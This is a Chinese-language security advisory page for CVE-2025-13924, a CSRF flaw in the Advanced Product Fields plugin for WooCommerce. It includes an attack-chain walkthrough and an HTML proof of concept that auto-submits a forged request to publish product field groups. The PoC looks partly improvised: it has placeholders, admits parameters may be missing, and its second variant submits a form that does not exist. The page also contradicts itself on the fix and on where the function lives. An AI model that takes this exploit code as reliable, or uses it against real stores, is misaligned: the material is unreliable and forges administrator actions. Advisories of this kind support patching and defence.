IPBUF安全漏洞报告
English
CVE-2025-13924 CVSS 4.3 中危

CVE-2025-13924 WooCommerce高级产品字段插件CSRF漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-13924
漏洞类型
CSRF (跨站请求伪造)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Advanced Product Fields (Product Addons) for WooCommerce

相关标签

CSRF跨站请求伪造WordPressWooCommerce插件漏洞CVE-2025-13924认证绕过中级严重性AJAX漏洞nonce验证缺失

漏洞概述

CVE-2025-13924是WordPress插件Advanced Product Fields (Product Addons) for WooCommerce中的一个中危跨站请求伪造(CSRF)漏洞。该插件用于在WooCommerce商店中添加高级产品字段和附加选项。漏洞源于maybe_duplicate函数缺少正确的nonce验证机制,导致攻击者可以通过社会工程学手段诱导已登录的管理员点击恶意链接,从而在未经授权的情况下复制并发布产品字段组,包括草稿和待审核状态的字段组。攻击成功需要管理员交互,CVSS评分4.3,属于中危级别。攻击者利用此漏洞可以修改网站内容结构,可能导致电子商务功能异常或数据混乱。漏洞影响所有版本直至1.6.17,建议立即更新至最新版本。

技术细节

该CSRF漏洞存在于插件的maybe_duplicate函数中,具体位置在class-admin-controller.php文件的第130-133行。漏洞的根本原因是该函数在执行关键操作(复制和发布产品字段组)时未正确验证请求的来源和有效性。具体问题包括:1) 缺少CSRF token (nonce) 验证或验证逻辑存在缺陷;2) 未检查HTTP请求的来源是否来自合法的管理后台;3) 未验证请求的方法是否为预期的POST请求。由于这些安全检查的缺失,攻击者可以构造恶意HTML页面或钓鱼链接,当管理员访问时,浏览器会自动携带有效的认证cookie发送请求。攻击者可利用此漏洞:1) 复制现有的产品字段组;2) 将草稿状态的字段组直接发布;3) 将待审核状态的字段组发布。这可能导致网站内容被篡改,影响产品展示和购物功能。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用的Advanced Product Fields for WooCommerce插件版本(需≤1.6.17)
STEP 2
步骤2
攻击者分析插件的maybe_duplicate函数(通常位于wp-admin/admin-ajax.php),确定可利用的AJAX端点
STEP 3
步骤3
攻击者构造包含恶意表单的HTML页面,该表单会自动向目标网站的AJAX端点发送POST请求
STEP 4
步骤4
攻击者通过钓鱼邮件、社交工程或其他方式诱导已登录的管理员访问恶意页面
STEP 5
步骤5
管理员浏览器自动携带有效认证cookie发送请求,由于缺少nonce验证,请求被服务器接受
STEP 6
步骤6
服务器执maybe_duplicate函数,成功复制指定的产品字段组并将其状态设置为publish
STEP 7
步骤7
攻击目标达成:草稿或待审核的字段组被发布,可能导致网站内容被篡改或功能异常

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-13924 --> <!-- Exploit: Duplicate and publish product field groups --> <html> <body> <form action="http://target-site/wp-admin/admin-ajax.php" method="POST" id="exploit"> <input type="hidden" name="action" value="apfp_maybe_duplicate" /> <input type="hidden" name="post_id" value="[TARGET_POST_ID]" /> <input type="hidden" name="_wpnonce" value="[FORGED_OR_EMPTY_NONCE]" /> <!-- Additional required parameters may be needed --> <input type="hidden" name="post_type" value="apfp_field_group" /> <input type="hidden" name="status" value="publish" /> </form> <script> document.getElementById('exploit').submit(); </script> </body> </html> <!-- Alternative: Auto-submit form with social engineering --> <html> <body> <p>Click here for amazing offer!</p> <img src="http://target-site/wp-admin/admin-ajax.php?action=apfp_maybe_duplicate&post_id=1" onerror="document.forms[0].submit();" /> </body> </html>

影响范围

Advanced Product Fields (Product Addons) for WooCommerce <= 1.6.17

防御指南

临时缓解措施
临时缓解措施:1) 如果无法立即升级,可暂时禁用Advanced Product Fields插件;2) 加强对管理员账户的安全措施,使用强密码和双因素认证;3) 对管理员进行安全意识培训,提醒不要点击未知来源的链接;4) 使用WAF(Web应用防火墙)规则检测异常的AJAX请求;5) 监控wp-admin目录下的异常请求日志。长期解决方案是等待官方发布安全更新后立即应用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表